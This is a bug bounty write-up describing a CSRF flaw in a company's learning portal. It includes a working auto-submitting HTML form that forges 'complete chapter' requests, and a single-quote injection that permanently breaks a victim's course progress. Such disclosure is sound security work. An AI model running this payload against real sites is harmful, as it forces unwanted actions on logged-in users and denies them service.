CSRF Vulnerability Leads to Course DoS

Introduction

I found a bug on a bug bounty program. It was a CSRF flaw that didn’t seem like a big deal at first. But after a little more testing, I found a way to use it to completely break a user’s course progress, making the course unusable. The company paid out for the finding, proving that even small bugs can have a big impact.

The Discovery

I was checking out a marketing domain, victim.com, for a B2B company. The website looked like a standard marketing page with no user login. Just for fun, I tried adding /login to the end of the URL.

To my surprise, it worked! It took me to a totally new part of the site: https://www.victim.com/victim-university/login. It was an educational portal where the company's users could learn about their products. There was also a register option. I made an account to see what I could find.

There were different courses and each course have multiple chapters.Users can Complete courses and earn badges for each course. To finish a course chapter, you had to watch a video and then hit a “Complete” button. After clicking Complete Button I intercepted request and checked the request and saw that there was no CSRF Protection . This looked like a classic CSRF bug.
I quickly created a basic CSRF PoC to test it.

Get Exploit5lover’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Proof of Concept (PoC) for the CSRF:

• A user is logged in to the platform.
• I create a simple HTML page with a hidden form that auto-submits a POST request.
• The form’s action points to the “complete chapter” endpoint on the website.

<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC</title>
</head>
<body>
    <h1>CSRF PoC</h1>
    <form id="csrfForm" action="https://www.victim.com/wp-admin/admin-ajax.php" method="POST">
        <input type="hidden" name="action" value="course_module_progress">
        <input type="hidden" name="csid" value="[Course ID]">
        <input type="hidden" name="mdid" value="[Module ID]">
        <input type="hidden" name="comples" value="introduction">
    </form>
    <script>
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

When a user opens this page, the request automatically fires, and their course chapter is marked as complete without them doing anything.
I tested it on a new account, and it worked perfectly.

But :

Just completing a chapter for someone didn’t feel like a big deal. The impact was too small for a good bug report.

Escalating the Bug

I started messing with the same request again. After trying a bunch of different things that didn’t work, I randomly added a single quote ' at the end of the chapter name in “value” field in the request .

I sent the request , response was normal but when I checked the course. I couldn’t progress to next chapter ! The chapter was now broken for me. No matter what I did, I couldn’t get it to next chapter.

I added that single quote to my CSRF PoC and tested it on my second account. It worked again — the course became unusable for that account too.

This confirmed the bug: I could use a simple CSRF to permanently break a user’s course progress. This was a mini Denial of Service (DoS), which had a much better impact for a bug report.

The Impact

By using the CSRF flaw with a single quote, an attacker could remotely make any course inaccessible to a logged-in user. It breaks the product for the user and could cause them to lose valuable work.

Exploit5lover

Thanks for reading .